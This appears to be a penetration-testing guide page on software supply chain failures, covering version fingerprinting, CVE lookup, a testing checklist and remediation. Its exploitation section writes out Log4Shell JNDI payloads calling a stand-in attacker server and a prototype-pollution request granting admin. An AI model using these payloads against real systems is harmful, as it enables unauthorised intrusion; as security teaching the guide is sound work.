Software Supply Chain Failures
Vulnerable and outdated components are a leading cause of web application compromise. The OWASP Top 10:2025 broadened this into A03: Software Supply Chain Failures (it was A06:2021), covering the whole build-and-dependency ecosystem rather than outdated libraries alone. Modern applications rely on hundreds of third-party libraries — a single vulnerable dependency can provide remote code execution, data exfiltration, or complete system takeover.
Danger
Fingerprinting Components
# Detect JavaScript libraries from browser:
# Check page source and network requests for:
# jquery-3.6.0.min.js → jQuery 3.6.0
# angular.js → AngularJS (EOL!)
# react.production.min.js → React
# Automated fingerprinting:
# Wappalyzer browser extension, or webanalyze (maintained CLI engine):
webanalyze -host https://target.com
# WhatWeb:
whatweb https://target.com -v
# Check HTTP headers for version info:
curl -sI https://target.com | grep -iE 'server|x-powered|x-aspnet|x-generator'
# Server: Apache/2.4.49 → Known RCE (CVE-2021-41773)
# X-Powered-By: PHP/7.4.3
# Check for exposed package files:
curl -s https://target.com/package.json
curl -s https://target.com/composer.json
curl -s https://target.com/Gemfile
curl -s https://target.com/requirements.txt
curl -s https://target.com/pom.xml
# JavaScript source analysis:
curl -s https://target.com/js/app.js | grep -iE 'version|@license|Copyright'
# WordPress plugin enumeration:
wpscan --url https://target.com --enumerate p,t --api-token YOUR_TOKEN
# Nuclei technology detection:
nuclei -u https://target.com -t technologies/Vulnerability Lookup
# After identifying components and versions, look up CVEs:
# National Vulnerability Database:
# https://nvd.nist.gov/vuln/search
# Snyk Vulnerability Database:
# https://snyk.io/vuln/
# GitHub Advisory Database:
# https://github.com/advisories
# Retire.js (JavaScript-specific):
npx retire --js --path ./target-js-files/
# Or use the browser extension
# NPM audit (if package-lock.json available):
npm audit --json
# OWASP Dependency-Check:
dependency-check --project "target" --scan ./target-files/
# Trivy (container and filesystem scanning):
trivy fs ./target-source/
trivy image target-docker-image:latest
# Grype (SBOM-based vulnerability scanner):
grype dir:./target-source/
# Nuclei CVE scanning:
nuclei -u https://target.com -t cves/ -severity critical,highHigh-Impact Historical CVEs
Critical CVEs to Always Check
Log4Shell (CVE-2021-44228): Apache Log4j 2.x RCE via JNDI lookup — CVSS 10.0
Spring4Shell (CVE-2022-22965): Spring Framework RCE via data binding — CVSS 9.8
Apache Struts (CVE-2017-5638): RCE via Content-Type header (Equifax breach)
jQuery >= 1.12.0 and < 3.5.0 (CVE-2020-11022): XSS via HTML parsing in .html() method — fixed in 3.5.0
Apache Path Traversal (CVE-2021-41773): Apache 2.4.49 path traversal + RCE
MOVEit (CVE-2023-34362): Unauthenticated SQL injection → RCE in the MOVEit Transfer web application — exploited in the wild (Cl0p ransomware), CVSS 9.8
Prototype Pollution: Multiple NPM packages — lodash, minimist, qs
Exploitation Workflow
# Example: Exploiting Log4Shell
# Step 1: Identify Java application (check headers, error pages)
# Step 2: Inject JNDI payload in various input points:
# Headers to test:
curl -H 'User-Agent: ${jndi:ldap://ATTACKER_SERVER/a}' https://target.com/
curl -H 'X-Forwarded-For: ${jndi:ldap://ATTACKER_SERVER/a}' https://target.com/
curl -H 'Referer: ${jndi:ldap://ATTACKER_SERVER/a}' https://target.com/
# Check for callback on your server:
# Set up listener: python3 -m http.server 8888
# Or use Burp Collaborator / interactsh-client (app.interactsh.com)
# Example: Exploiting outdated WordPress plugin
# Step 1: wpscan identifies vulnerable plugin:
# "Contact Form 7 < 5.3.2 - Unrestricted File Upload (CVE-2020-35489)"
# → arbitrary file upload leading to RCE; fixed in 5.3.2
# Step 2: Search for exploit:
searchsploit "contact form 7"
# Step 3: Use Metasploit or manual exploitation
# Example: Prototype pollution in Express.js
# If lodash < 4.17.12 is used:
curl -X POST https://target.com/api/merge \
-H 'Content-Type: application/json' \
-d '{"__proto__": {"isAdmin": true}}'Testing Checklist
- ☐ 1. Fingerprint web server, framework, and CMS versions
- ☐ 2. Identify JavaScript libraries and their versions (source code, Wappalyzer)
- ☐ 3. Check for exposed package manifests (package.json, composer.json, etc.)
- ☐ 4. Run Retire.js against client-side JavaScript
- ☐ 5. Run Nuclei CVE templates against the target
- ☐ 6. Look up identified versions in NVD, Snyk, and GitHub advisories
- ☐ 7. Test for high-profile CVEs (Log4Shell, Spring4Shell, etc.)
- ☐ 8. Check for EOL software that no longer receives security patches
Evidence Collection
Component Inventory: Table of component name, detected version, latest version, known CVEs
CVE References: Link to NVD/advisory with CVSS score for each finding
Exploitation Proof: If exploited, include request/response demonstrating impact
CVSS Range: Depends on underlying CVE — typically 5.0–10.0 for critical RCE vulnerabilities
Remediation
- • Maintain SBOM: Create and maintain a Software Bill of Materials for all dependencies.
- • Automated scanning: Integrate Dependabot, Snyk, or Renovate into CI/CD pipeline.
- • Regular updates: Establish a patch cycle — critical CVEs within 24–48 hours, high within 1 week.
- • Remove unused dependencies: Audit and remove packages no longer in use.
- • Virtual patching: Use WAF rules to mitigate known CVEs while patches are being deployed.
- • Pin versions: Use lock files (package-lock.json, Gemfile.lock) and verify integrity hashes.
False Positive Identification
- CVE without reachable code path: A vulnerable library version doesn't mean the vulnerability is exploitable — verify the vulnerable function/method is actually invoked by the application.
- Backported patches: Linux distributions often backport security fixes without changing the version number (e.g., Apache 2.4.6-97.el7 may include fixes from 2.4.54) — check distribution changelogs.
- Dev/test dependencies: Vulnerabilities in devDependencies that never ship to production are typically informational unless they affect the build pipeline.
Vulnerable Component Practice
Exploit known-CVE dependencies in an application built around them.